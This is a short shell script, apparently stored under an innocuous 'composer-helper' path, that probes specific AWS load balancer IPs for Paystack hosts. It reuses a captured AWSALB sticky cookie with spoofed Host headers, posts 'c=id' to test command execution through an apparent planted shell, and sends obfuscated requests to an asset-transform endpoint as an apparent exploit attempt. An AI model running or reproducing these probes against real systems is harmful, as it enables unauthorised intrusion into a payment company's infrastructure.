composer-helper/vh4.sh
2026-10-22 15:15:22 +00:00

36 lines
2.3 KiB
Bash

#!/bin/sh
# Target-group discriminator: reuse the shell pod's AWSALB sticky cookie with different Host headers.
IP=52.51.74.51
IP2=54.73.28.96
PIN='AWSALB=ZZcuiGDCKfSDx9qAPucmuxPHhqIa5Dd9UGhL76ehympHaUNoG3hjh9IKuJ8vCouKJPrwVYs8H2e+Dm6YH7xfdE0BAuH/Fbakk6bT6yht0R11roF9krBe7jmfUHyS; AWSALBCORS=ZZcuiGDCKfSDx9qAPucmuxPHhqIa5Dd9UGhL76ehympHaUNoG3hjh9IKuJ8vCouKJPrwVYs8H2e+Dm6YH7xfdE0BAuH/Fbakk6bT6yht0R11roF9krBe7jmfUHyS'
N=0
tk() {
N=$((N+1)); f=/tmp/tk.$N
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $2" -b "$PIN" --data 'c=id' "https://$1/" 2>/dev/null)
echo "T|$3|$2|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-90)"
}
hp() {
N=$((N+1)); f=/tmp/hq.$N
c=$(curl -sk -m 8 -o "$f" -w '%{http_code}' -H "Host: $2" "https://$1/" 2>/dev/null)
echo "P|$3|$2|$c|$(wc -c <"$f" 2>/dev/null)|$(grep -o '<title>[^<]*' "$f" 2>/dev/null | head -1 | cut -c8-45)"
}
hp $IP x7q.example.com RAND
hp $IP website-v3-docker-prod-dr.eu-west-1.elasticbeanstalk.com EBH
tk $IP paystack.com PPAY
tk $IP dr.paystack.com PDR
tk $IP blog.paystack.com PBL
tk $IP beta.paystack.com PBE
tk $IP website.production.paystack.co PWP
N=$((N+1)); f=/tmp/ga.$N
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: paystack.com" -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data 'assetId=96&handle%5Bwidth%5D=1&handle%5Bheight%5D=1' "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
echo "G96|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-110)"
N=$((N+1)); f=/tmp/gb.$N
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: paystack.com" -H 'Accept: application/json' -H 'Content-Type: application/x-www-form-urlencoded' --data 'assetId=96&handle%5Bwidth%5D=1&handle%5Bheight%5D=1' "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
echo "G96|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-110)"
N=$((N+1)); f=/tmp/h8.$N; hf=/tmp/h8h.$N
c=$(curl -s -m 8 -D "$hf" -o "$f" -w '%{http_code}' -H "Host: paystack.com" "http://$IP/" 2>/dev/null)
echo "H80|$IP|$c|$(grep -iE '^(server|location):' "$hf" | tr -d '\r' | tr '\n' ' ')"
N=$((N+1)); f=/tmp/h8.$N; hf=/tmp/h8h.$N
c=$(curl -s -m 8 -D "$hf" -o "$f" -w '%{http_code}' -H "Host: paystack.com" "http://$IP2/" 2>/dev/null)
echo "H80|$IP2|$c|$(grep -iE '^(server|location):' "$hf" | tr -d '\r' | tr '\n' ' ')"
echo DONE4